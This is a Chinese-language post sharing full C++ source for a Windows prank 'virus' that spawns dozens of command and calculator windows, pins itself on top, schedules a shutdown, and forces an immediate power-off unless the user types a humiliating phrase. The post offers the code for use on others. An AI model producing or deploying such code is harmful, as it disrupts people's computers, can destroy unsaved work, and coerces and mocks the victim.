此病毒危害较小,但也请谨慎使用。
代码如下:
#include<iostream>
#include<string>
#include<windows.h>
#include<conio.h>
#include<stdlib.h>
#include<unistd.h>
using namespace std;
void Z_Q_F();
int main(){
system("color 47");
cout<<" 欢迎使用电脑病毒"<<endl<<endl;
cout<<" 程序已开始运行,请做好准备"<<endl<<endl;
cout<<" 前方高能. . . . . ."<<endl<<endl;
sleep(2);
system("cls");
sleep(1);
cout<<"\n\n\n\n";
cout<<" !\n\n";
cout<<" ! ! !\n\n";
cout<<" ! ! 3 ! !\n\n";
cout<<" ! ! !\n\n";
cout<<" !\n\n";
sleep(1);
system("cls");
cout<<"\n\n";
cout<<" !\n\n";
cout<<" ! ! !\n\n";
cout<<" ! ! ! ! !\n\n";
cout<<" ! ! ! 2 ! ! !\n\n";
cout<<" ! ! ! ! !\n\n";
cout<<" ! ! !\n\n";
cout<<" !\n\n";
sleep(1);
system("cls");
cout<<" !\n\n";
cout<<" ! ! !\n\n";
cout<<" ! ! ! ! !\n\n";
cout<<" ! ! ! ! ! ! !\n\n";
cout<<" ! ! ! ! 1 ! ! ! !\n\n";
cout<<" ! ! ! ! ! ! !\n\n";
cout<<" ! ! ! ! !\n\n";
cout<<" ! ! !\n\n";
cout<<" !\n\n";
for (int i=0; i<4 ; i++){
system("color 74");
sleep(0.1);
system("color 47");
sleep(0.1);
}
for (int i=0; i<20 ; i++){
system("start cmd");
}
for (int i=0; i<10 ; i++){
system("start calc");
}
Z_Q_F();
system("cls");
cout<<" 重头戏来了\n\n";
sleep(2);
system("shutdown /s /t 300");
sleep(2);
cout<<" 360安全卫士 Dev-C++ / C++电脑病毒 / system()强制关机,制止无效\n\n";
system("cls");
sleep(5);
string z;
cout<<"C++电脑病毒.exe\n\n";
sleep(1);
cout<<" 见识到我的厉害了吧,承认\"我是大傻猪\"即可解除关机:";
cin>>z;
cout<<"\n\n";
if (z=="我是大傻猪"){
sleep(1);
cout<<" 哈哈哈,真好笑!\n\n";
sleep(1);
cout<<" 哦,对,我是不是说给你解除关机来着?\n\n";
sleep(1);
cout<<" 好好好,现在就弄\n\n";
sleep(2);
system("shutdown /a");
sleep(1);
cout<<" 好了,大功告成!\n\n";
}else{
string s2;
cout<<" 好小子,还挺勇?\n\n";
sleep(1);
cout<<" 现在输入还有悔改的机会:";
cin>>s2;
if (s2=="我是大傻猪"){
cout<<" 哈哈哈,真好笑!\n\n";
sleep(1);
cout<<" 哦,对,我是不是说给你解除关机来着?\n\n";
sleep(1);
cout<<" 好好好,现在就弄\n\n";
sleep(2);
system("shutdown /a");
sleep(1);
cout<<" 好了,大功告成!\n\n";
}else{
cout<<" 哼哼哼,建议你检查检查有没有没保存的文件,我要关机喽!!!\n\n";
sleep(3);
Z_Q_F();
cout<<" 3\n\n";
sleep(1);
cout<<" 2\n\n";
sleep(1);
cout<<" 1\n\n";
sleep(1);
cout<<" 关机喽!!!";
sleep(1);
system("shutdown /p");
}
}
}
void Z_Q_F(){
HWND hWnd = GetConsoleWindow();
RECT rect;
GetWindowRect(hWnd, &rect);
SetWindowPos(hWnd, HWND_TOPMOST, rect.left, rect.top, rect.right - rect.left, rect.bottom - rect.top, 0);
return;
}